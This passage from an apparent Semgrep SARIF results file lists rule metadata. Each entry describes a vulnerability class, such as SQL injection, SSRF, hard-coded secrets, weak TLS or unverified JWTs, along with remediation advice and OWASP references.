database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","id":"php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","name":"php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf"},"help":{"markdown":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-6.0)\n - [https://www.synacktiv.com/en/publications/izi-izi-pwn2own-ics-miami.html](https://www.synacktiv.com/en/publications/izi-izi-pwn2own-ics-miami.html)\n","text":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","id":"csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","name":"csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources."},"help":{"markdown":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/resource-exposure/](https://cloudsplaining.readthedocs.io/en/latest/glossary/resource-exposure/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py)\n","text":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","id":"terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","name":"terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application."},"help":{"markdown":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application."},"helpUri":"https://semgrep.dev/r/swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","id":"swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","name":"swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","properties":{"precision":"very-high","tags":["CWE-35: Path Traversal","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","id":"terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","name":"terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-url.pg-connection-url)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-url.pg-connection-url","id":"rust.secrets.sqlx.pg-connection-url.pg-connection-url","name":"rust.secrets.sqlx.pg-connection-url.pg-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.pg-connection-url.pg-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2."},"help":{"markdown":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#min_tls_version](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#min_tls_version)\n - [https://docs.microsoft.com/en-us/azure/storage/common/transport-layer-security-configure-minimum-version](https://docs.microsoft.com/en-us/azure/storage/common/transport-layer-security-configure-minimum-version)\n","text":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","id":"terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","name":"terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Function sweepToken is allowed to be called by anyone"},"help":{"markdown":"Function sweepToken is allowed to be called by anyone\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted)\n - [https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2](https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2)\n - [https://chainsecurity.com/security-audit/compound-ctoken/](https://chainsecurity.com/security-audit/compound-ctoken/)\n - [https://blog.openzeppelin.com/compound-comprehensive-protocol-audit/](https://blog.openzeppelin.com/compound-comprehensive-protocol-audit/)\n - [https://etherscan.io/address/0xa035b9e130f2b1aedc733eefb1c67ba4c503491f](https://etherscan.io/address/0xa035b9e130f2b1aedc733eefb1c67ba4c503491f)\n","text":"Function sweepToken is allowed to be called by anyone"},"helpUri":"https://semgrep.dev/r/solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","id":"solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","name":"solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.xpath.tainted-xpath.tainted-xpath)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.spring.xpath.tainted-xpath.tainted-xpath","id":"java.spring.xpath.tainted-xpath.tainted-xpath","name":"java.spring.xpath.tainted-xpath.tainted-xpath","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.xpath.tainted-xpath.tainted-xpath"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","id":"python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","name":"python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","id":"java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","name":"java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"You should probably use Filename.get_temp_dirname()."},"help":{"markdown":"You should probably use Filename.get_temp_dirname().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.slash-tmp.not-portable-tmp-string)\n","text":"You should probably use Filename.get_temp_dirname()."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.slash-tmp.not-portable-tmp-string","id":"ocaml.lang.portability.slash-tmp.not-portable-tmp-string","name":"ocaml.lang.portability.slash-tmp.not-portable-tmp-string","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.slash-tmp.not-portable-tmp-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","id":"ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","name":"ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine."},"help":{"markdown":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2017/go-grpc-beyond-basics/#:~:text=disables%20transport%20security](https://blog.gopheracademy.com/advent-2017/go-grpc-beyond-basics/#:~:text=disables%20transport%20security)\n","text":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine."},"helpUri":"https://semgrep.dev/r/javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","id":"javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","name":"javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure."},"help":{"markdown":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.missing-internal.missing-internal)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md)\n - [https://nginx.org/en/docs/http/ngx_http_core_module.html#internal](https://nginx.org/en/docs/http/ngx_http_core_module.html#internal)\n","text":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.missing-internal.missing-internal","id":"generic.nginx.security.missing-internal.missing-internal","name":"generic.nginx.security.missing-internal.missing-internal","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.missing-internal.missing-internal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection."},"help":{"markdown":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation)\n - [https://www.oracle.com/java/technologies/javase/tlsreadme.html](https://www.oracle.com/java/technologies/javase/tlsreadme.html)\n","text":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","id":"problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","name":"problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","id":"csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","name":"csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead."},"help":{"markdown":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.unverified-ssl-context.unverified-ssl-context)\n - 